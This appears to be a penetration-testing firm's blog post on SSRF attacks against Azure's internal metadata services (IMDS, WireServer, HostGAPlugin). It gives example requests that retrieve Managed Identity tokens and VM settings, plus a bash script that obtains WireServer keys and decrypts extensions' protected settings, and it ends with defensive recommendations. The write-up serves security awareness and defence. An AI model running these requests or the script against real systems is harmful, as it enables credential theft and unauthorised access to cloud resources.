Published by Security Testing and Assurance on 15 May
Azure provides a metadata service that allows applications on a Virtual Machine (VM) to access information about the machine’s configuration, including any associated service account credentials. The sensitivity of this information makes it a common target for adversaries.
A common misconception is the impact that Server-Side Request Forgery (SSRF) attacks can have against applications hosted on a cloud platform. This article explains how Azure-hosted services can be exploited through SSRF attacks by targeting Azure API endpoints that do not enforce HTTP Header checks and what developers and system administrators can do to minimise these risks.
Introduction
Azure Virtual Machines use several internal network services that allow applications on a Virtual Machine (VM) to access information about the machine’s configuration, including any associated service account credentials. The sensitivity of information provided by these services make them common targets for adversaries.
Server-Side Request Forgery (SSRF) attacks are a type of vulnerability where an attacker manipulates a target service into making unauthorised requests to internal or external systems. As these requests originate from the target server, they bypass traditional network security controls such as firewalls and network access control lists. This can allow the attacker to retrieve sensitive data or perform other unauthorised actions.
The security of Azure VM’s internal network services are largely dependent on network access restrictions, which makes them common targets for SSRF attacks.
Azure Internal Services
Azure Virtual Machines have network access to several internal Microsoft services. These are used for core services such as DHCP and DNS, and for VM guest agents to communicate with the Azure Fabric Controller. These services include the Instance Metadata Service (IMDS), WireServer, and HostGAPlugin. If an Azure web-application is vulnerable to SSRF, an adversary can target these services to discover information about the VM’s configuration, gain access to credential information, or perform Person-in-the-Middle (PITM) attacks against VM agent communications.
Existing Security Controls
Microsoft has implemented several security controls to reduce the likelihood of these services being attacked through SSRF vulnerabilities. Though these have not been applied consistently and can often be bypassed.
HTTP Header Requirements
SSRF vulnerabilities are often limited in the structure of requests that can be sent, a simple HTTP header requirement is often enough to prevent attacks.
Most IMDS endpoints require the HTTP Header “Metadata: True” to be sent, and most WireServer endpoints require “x-ms-version: 2015-04-05” to be sent.
The requirement for these headers has not been applied consistently, with some endpoints not requiring any headers. Furthermore, this protection can be bypassed if an attacker can control the headers made in the request, either directly, or through a Carriage Return Line Feeds (CRLF) injection vulnerability. CRLF injection allows the insertion of new lines, which can allow an attacker to change the headers sent to the metadata endpoint.
Network Access Restrictions
Network access to the WireServer HTTP services is restricted to elevated local accounts. On Linux access is restricted to the root user with Netfilter, and on Windows access is restricted to members of the BUILTIN\Administrators group with the Windows Filtering Platform (WFP).
Often during CyberCX penetration testing engagements we discover applications running with these privileged accounts. In these instances, a SSRF vulnerability in a web application would bypass these network access restrictions.
Instance Metadata Service (IMDS)
IMDS provides a RESTful API that allows applications running on the Azure VM to access information about the running instance. This includes the instance’s hostname, IP address, operating system, and more. The service can also provide security tokens that can be used to access other Azure services.
The IMDS allows applications running on the VM to obtain an access token for Managed Identities assigned to the VM instance. This provides applications with a means of obtaining access to other Azure Services without needing to manage credentials.
IMDS is accessible over the non-routable IP address 169.254.169.254 over HTTP on port 80.
WireServer and HostGAPlugin
WireServer provides DNS, DHCP, and two HTTP services used by Azure VM agents to communicate with the Azure Fabric Controller.
Microsoft (asudbring et al., 2023) describes WireServer as performing the following operations:
- Enables the VM Agent to communicate with the Azure platform to signal that it is in a “Ready” state.
- Enables communication with the DNS virtual server to provide filtered name resolution to the resources (such as VM) that don’t have a custom DNS server. This filtering makes sure that customers can resolve only the hostnames of their resources.
- Enables health probes from Azure Load Balancer to determine the health state of VMs.
- Enables the VM to obtain a dynamic IP address from the DHCP service in Azure.
- Enables Guest Agent heartbeat messages for the PaaS role.
WireServer is accessible over the virtual public IP address 168.63.129.16, with HTTP services on port 80 and 32526.
The primary WireServer HTTP service is exposed on port 80. This is used to publish the VM Goal State, i.e. the intended target state that VM guest agents should modify the VM configuration to match.
WireServer is also used to communicate messages between the Azure VM guest agents and the Azure Fabric Controller. To achieve this, the WireServer web services disclose a Shared Access Signature (SAS) URL for an Azure Storage Account blob which is used to store and retrieve messages. An adversary with access to this SAS URL can perform a Person-in-the-Middle (PITM) attack against these VM agent messages.
The HostGAPlugin service on port 32526 provides an alternative mechanism to communicate with the Azure Fabric Controller when network access to Azure Storage Accounts is blocked. This is achieved with a storage account proxy API endpoint, allowing guest agents to access the Storge Account SAS URL even when network access is denied.
Confusingly the HostGAPlugin is only mentioned publicly in a GitHub issue for WALinuxAgent (https://github.com/Azure/WALinuxAgent/issues/443) and not in any public documentation.
Metadata Endpoints
http://169.254.169.254/metadata/instance?api-version=2020-06-01
This endpoint retrieves metadata for the VM instance which includes user data which may contain sensitive information.
This endpoint requires the Metadata HTTP header to be set to ‘True’.
An example request and response is shown below:
Request
GET /metadata/instance?api-version=2020-06-01 HTTP/1.1 Host: 169.254.169.254 Metadata: True Connection: close
Response
HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Server: IMDS/150.870.65.962 Date: Tue, 25 Apr 2023 22:53:50 GMT Connection: close Content-Length: 1919
{"compute":{"azEnvironment":"AzurePublicCloud","customData":"","isHostCompatibilityLayerVm":"false","location":"australiaeast","name":"vm-ubuntu","offer":"0001-com-ubuntu-server-jammy","osType":"Linux","placementGroupId":"","plan":{"name":"","product":"","publisher":""},"platformFaultDomain":"0","platformUpdateDomain":"0","provider":"Microsoft.Compute","publicKeys":[],"publisher":"canonical", <snip>
Screenshot showing a redacted request and response of the metadata service.
This endpoint provides access to retrieve a bearer token for the attached Managed Identity and requested resource, in this example, the Azure Resource Manager provider API.
Managed Identities are an Azure feature which allows Azure resources to retrieve an access token on-demand for an identity representing the resource or cluster of resources. This feature allows Azure resources to integrated into Azure Active Directory without needing to manage their own credentials.
This endpoint requires the Metadata HTTP header to be set to ‘True’.
Request
> GET /metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ HTTP/1.1 > Host: 169.254.169.254 > User-Agent: curl/7.81.0 > Accept: */* > Metadata: true
Response
< HTTP/1.1 200 OK
< Content-Type: application/json; charset=utf-8
< Server: IMDS/150.870.65.962
< Date: Thu, 04 May 2023 23:06:35 GMT
< Content-Length: 1753
<
{"access_token":"ey...c0","expires_in":"86400","expires_on":"1683327995","ext_expires_in":"86399","not_before":"1683241295","resource":"https://management.azure.com/","token_type":"Bearer"}
The impact of the disclosure of an access token depends on the permissions assigned to the Managed Identity. For example, if the identity had Reader access to the subscription the following request could be performed to list Resource Groups.
> GET /subscriptions/84...49/resourcegroups?api-version=2017-05-10 HTTP/2 > Host: management.azure.com > user-agent: curl/7.81.0 > accept: */* > authorization: Bearer ey...c0
http://169.254.169.254/metadata/v1/instanceinfo
This endpoint uses IMDS to retrieve the system’s instance ID.
While most IMDS APIs require the “Metadata” HTTP Header, this endpoint does not. This means it is far more likely to be vulnerable to SSRF.
Request
GET /metadata/v1/instanceinfo HTTP/1.1 Host: 169.254.169.254 Connection: close
Response
HTTP/1.1 200 OK Content-Type: text/json; charset=utf-8 Server: Microsoft-IIS/10.0 Date: Tue, 25 Apr 2023 23:11:16 GMT Connection: close Content-Length: 37
{"ID":"_vm-ubuntu","UD":"0","FD":"0"}
This screenshot shows the request and response with the returned VM metadata.
This endpoint discloses the virtual machines hostname. While this is unlikely to present a significant security risk, this endpoint can provide a useful initial target to validate the existence of a SSRF vulnerability.
http://168.63.129.16/?comp=versions
This endpoint returns the set of supported API versions for WireServer.
Request
GET /?comp=versions HTTP/1.1 Host: 168.63.129.16 User-Agent: curl/7.81.0 Accept: */*
Response
HTTP/1.1 200 OK Content-Type: text/xml; charset=utf-8 Server: Microsoft-IIS/10.0 Date: Thu, 27 Apr 2023 03:34:25 GMT Content-Length: 510
<?xml version="1.0" encoding="utf-8"?> <Versions> <Preferred> <Version>2015-04-05</Version> </Preferred> <Supported> <Version>2015-04-05</Version> <Version>2012-11-30</Version> <Version>2012-09-15</Version> <Version>2012-05-15</Version> <Version>2011-12-31</Version> <Version>2011-10-15</Version> <Version>2011-08-31</Version> <Version>2011-04-07</Version> <Version>2010-12-15</Version> <Version>2010-28-10</Version> </Supported>
This may be useful to test network connectivity to WireServer on port 80, as it does not require any specific HTTP Headers.
A successful connection indicates that the underling service is running with a privileged account, and network access to WireServer is not restricted.
http://168.63.129.16:32526/versions
This call returns the set of supported API Versions for the HostGAPlugin.
Request
GET /versions HTTP/1.1 Host: 168.63.129.16:32526 User-Agent: curl/7.81.0 Accept: */*
Response
HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Server: Microsoft-IIS/10.0 Date: Thu, 27 Apr 2023 03:48:15 GMT Content-Length: 14
["2015-09-01"]
This target can be used for testing network connectivity to the HostGAPlugin on port 32526.
A successful connection indicates that the underling service is running with a privileged account and network access to the HostGAPlugin has not been prevented.
http://168.63.129.16:32526/vmSettings
This endpoint returns the virtual machine instance’s configuration. This includes the protected and public settings of VM guest agents (extensions), as well as the status-upload blob used by guest agents to share messages with the Azure Fabric Controller.
Request
GET /vmSettings HTTP/1.1 Host: 168.63.129.16:32526 User-Agent: curl/7.81.0 Accept: */*
Response
HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 ETag: 12992715132905457848 Server: Microsoft-IIS/10.0 Date: Thu, 27 Apr 2023 03:53:23 GMT Content-Length: 20327
{"hostGAPluginVersion":"1.0.8.139","vmSettingsSchemaVersion":"0.0","activityId":"49...f2","correlationId":"dc...b0","inSvdSeqNo":2,"extensionsLastModifiedTickCount":638181619819019174,"extensionGoalStatesSource":"FastTrack","statusUploadBlob":{"statusBlobType":"PageBlob","value":"https://md-ssd-l2l3rrfl3qfm.z28.blob.storage.azure.net/$system/metadatahost..."},"inVMMetadata":{"subscriptionId":"84...49","resourceGroupName":"RG-METADATADISCOVERY-TEST-WESTUS2","vmName":"metadatahost","location":"WestUS3","vmId":"ce3...e6","vmSize":"Standard_B1ls","osType":"Linux","vmImage":{"publisher":"canonical","offer":"0001-com-ubuntu-server-jammy","sku":"22_04-lts-gen2","version":"22.04.202304200"}},"gaFamilies":[{"name":"Prod","uris":["https://umsak00qv445s1dkcjcd.blob.core.windows.net/...","https://umsacrcxrndpdpzplkwl.blob.core.windows.net/...l","https://umsah0twc0d25lndsc0j.blob.core.windows.net/..."]}],"extensionGoalStates":[{"name":"Microsoft.Azure.AzureDefenderForServers.MDE.Linux","version":"1.0.3.7","location":"https://umsagxkprqml1tpvhwph.blob.core.windows.net/60...09/60...09_manifest.xml","failoverLocation":"https://umsazgcntdcv5lncvgz0.blob.core.windows.net/60...09/60...09_manifest.xml","state":"enabled","autoUpgrade":true,"runAsStartupTask":false,"isJson":true,"useExactVersion":true,"settingsSeqNo":2,"isMultiConfig":false,"settings":[{"protectedSettingsCertThumbprint":"9B...47","protectedSettings":"MI...w=","publicSettings":"{\"azureResourceId\":\"/subscriptions/84...49/resourceGroups/RG-METADATADISCOVERY-TEST-WESTUS2/providers/Microsoft.Compute/virtualMachines/metadatahost\",\"forceReOnboarding\":false,\"vNextEnabled\":false,\"autoUpdate\":true}"}]},{"name":"Microsoft.EnterpriseCloud.Monitoring.OmsAgentForLinux","version":"1.14.23","location":"https://umsakhqq1rhdnwhj0cjr.blob.core.windows.net/68...7a/68...7a_manifest.xml","failoverLocation":"https://umsafng1jksvbltk1h01.blob.core.windows.net/68...7a/68...7a_manifest.xml","state":"enabled","autoUpgrade":true,"runAsStartupTask":false,"isJson":true,"useExactVersion":true,"settingsSeqNo":0,"isMultiConfig":false,"settings":[{"protectedSettingsCertThumbprint":"9B...47","protectedSettings":"MI...Fv","publicSettings":"{\"workspaceId\":\"9c...13\"}"}]}]}
This endpoint presents a high-value target as it does not require any specific HTTP headers to access and is likely to disclose sensitive information.
By gaining access to this SAS URL, an adversary can perform a Person-in-the-Middle (PITM) attack against VM agent messages.
In this example, a user has used the RunCommand extension. This is a default extension which allows users with Contributor access to execute commands on Virtual Machines from the Azure Portal.
For this extension, the content of executed commands is encrypted and stored in the protectedSettings attribute, and the result of the command is stored as plain-text in the status-upload blob.
In this example the result of the executed command appeared to be the contents of /etc/passwd. To check what the original command was, we will need to decrypt the protected settings. The encryption key for this can also be obtained from WireServer, though this does require the capability to include HTTP headers.
The following script can be used to obtain the decryption key from WireServer and decrypt protected settings.
# Generate self-signed cert openssl req -x509 -nodes -subj "/CN=LinuxTransport" -days 730 -newkey rsa:2048 -keyout temp.key -outform DER -out temp.crt # Get certificates URL from GoalState CERT_URL=$(curl 'http://168.63.129.16/machine/?comp=goalstate' -H 'x-ms-version: 2015-04-05' -s | grep -oP '(?<=Certificates>).+(?=</Certificates>)' | recode html..ascii) # Get encrypted envelope (encrypted with your self-signed cert) curl $CERT_URL -H 'x-ms-version: 2015-04-05' -H "x-ms-guest-agent-public-x509-cert: $(base64 -w0 ./temp.crt)" -s | grep -Poz '(?<=<Data>)(.*\n)*.*(?=</Data>)' | base64 -di > payload.p7m # Decrypt envelope openssl cms -decrypt -inform DER -in payload.p7m -inkey ./temp.key -out payload.pfx # Unpack archive openssl pkcs12 -nodes -in payload.pfx -password pass: -out wireserver.key # Decrypt protected settings curl -s 'http://168.63.129.16:32526/vmSettings' | jq .extensionGoalStates[].settings[].protectedSettings | sed 's/"//g' > protected_settings.b64 File=protected_settings.b64 Lines=$(cat $File) for Line in $Lines do echo $Line | base64 -d > protected_settings.raw openssl cms -decrypt -inform DER -in protected_settings.raw -inkey ./wireserver.key done
This results in the following output:
{
"script": " dXNlcmFkZCAtbSBhenVyZWRpYW1vbmQgJiYgZWNobyAnYXp1cmVkaWFtb25kOmh1bnRlcjInIHwgY2hwYXNzd2QgJiYgZ2V0ZW50IHBhc3N3ZAo="
}
Which can then be base64 decoded to reveal the command that was executed on the Azure Portal:
useradd -m azurediamond && echo 'azurediamond:hunter2' | chpasswd && getent passwd
http://168.63.129.16/machine/?comp=goalstate
This returns the expected state of the machine. It requires the following header to be set:
This endpoint requires the ‘x-ms-version’ HTTP header to be set.
Request
GET /machine/?comp=goalstate HTTP/1.1 Host: 168.63.129.16 User-Agent: curl/7.81.0 Accept: */* x-ms-version:2015-04-05
Response
HTTP/1.1 200 OK Content-Type: text/xml; charset=utf-8 Server: Microsoft-IIS/10.0 Date: Fri, 28 Apr 2023 03:16:08 GMT Content-Length: 2113
<?xml version="1.0" encoding="utf-8"?> <GoalState xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="goalstate10.xsd"> <Version>2015-04-05</Version> <Incarnation>2</Incarnation> <Machine> <ExpectedState>Started</ExpectedState> <StopRolesDeadlineHint>300000</StopRolesDeadlineHint> <LBProbePorts> <Port>16001</Port> </LBProbePorts> <ExpectHealthReport>FALSE</ExpectHealthReport> </Machine> <Container> <ContainerId>5a…db</ContainerId> <RoleInstanceList> <RoleInstance> <InstanceId>a7…a6._metadatahost</InstanceId> <State>Started</State> <Configuration> <HostingEnvironmentConfig>http://168.63.129.16:80/machine/5a...db/a7...a6.%5Fmetadatahost?comp=config&type=hostingEnvironmentConfig&incarnation=2</HostingEnvironmentConfig> <SharedConfig>http://168.63.129.16:80/machine/5a...db/a7...a6.%5Fmetadatahost?comp=config&type=sharedConfig&incarnation=2</SharedConfig> <ExtensionsConfig>http://168.63.129.16:80/machine/5a...db/a75...a6.%5Fmetadatahost?comp=config&type=extensionsConfig&incarnation=2</ExtensionsConfig> <FullConfig>http://168.63.129.16:80/machine/5a...db/a7...a6.%5Fmetadatahost?comp=config&type=fullConfig&incarnation=2</FullConfig> <Certificates>http://168.63.129.16:80/machine/5a...db/a7...a6.%5Fmetadatahost?comp=certificates&incarnation=2</Certificates> <ConfigName>a7a6.1.a7...a6.1._metadatahost.1.xml</ConfigName> </Configuration> </RoleInstance> </RoleInstanceList> </Container> </GoalState>
This endpoint provides similar content to the HostGAPlugin /vmSettings endpoint, though it also requires an HTTP header to specified. This can be a useful target for adversaries if the SSRF vulnerability is restricted to port 80.
Furthermore, this endpoint discloses the location where the encryption key for decrypting protected settings can be downloaded.
Consequences
Providing any additional information to an attacker about how a virtual machine (VM) exposes its compute, network, and storage configuration, can reduce the difficulty of further attacks. An attacker may also retrieve an access token with varying degrees of control, depending on the scope, for connected external applications and systems. The scope and control that these endpoints expose is powerful for management and configuration. The principle of least privilege should be applied to VMs, their applications, and the metadata services they rely on.
Recommendations
Configuring web applications and Azure against SSRF attacks and metadata abuse is multifaceted.
At the application level, performing penetration testing can help to identify SSRF vulnerabilities. The following recommendations can provide application-level protections:
- Input Validation: Validate and sanitise user input to ensure that it does not include any malicious URLs or IP addresses.
- Allow-listing: Use allow-listing techniques to limit the URLs or IP addresses that the application is allowed to access, thereby preventing requests to unauthorised resources.
- Use of secure APIs: Ensure that APIs used in the application are secure and do not allow access to sensitive resources.
At the Virtual Machine and VM management level the following recommendations should be considered:
- Resource Isolation: Use sandboxing or containerization techniques to isolate resources and prevent them from being accessed by unauthorised parties.
- Least Privilege Principle: Use the principle of least privilege to limit the access permissions of the application and users to only what is necessary.
Finally, regularly audit and monitor the application and system logs to detect any abnormal activity that could be indicative of an SSRF attack. CyberCX regularly performs Azure configuration and application penetration testing, get in touch to talk about your business requirements for Azure security.
References
- (asudbring et al.). What is IP address 168.63.129.16? Learn | Microsoft Azure. Retrieved May, 2023, from https://learn.microsoft.com/en-us/azure/virtual-network/what-is-ip-address-168-63-129-16
Authors: Nick Wojciechowski, Dajne Win
We are hiring! CyberCX currently have open offensive roles in penetration testing, adversary simulation, and AppSec for Australia and New Zealand. If you are interested in working with the largest and most capable team in the region in a fun, rewarding, and challenging environment, please send your CV to [email protected]
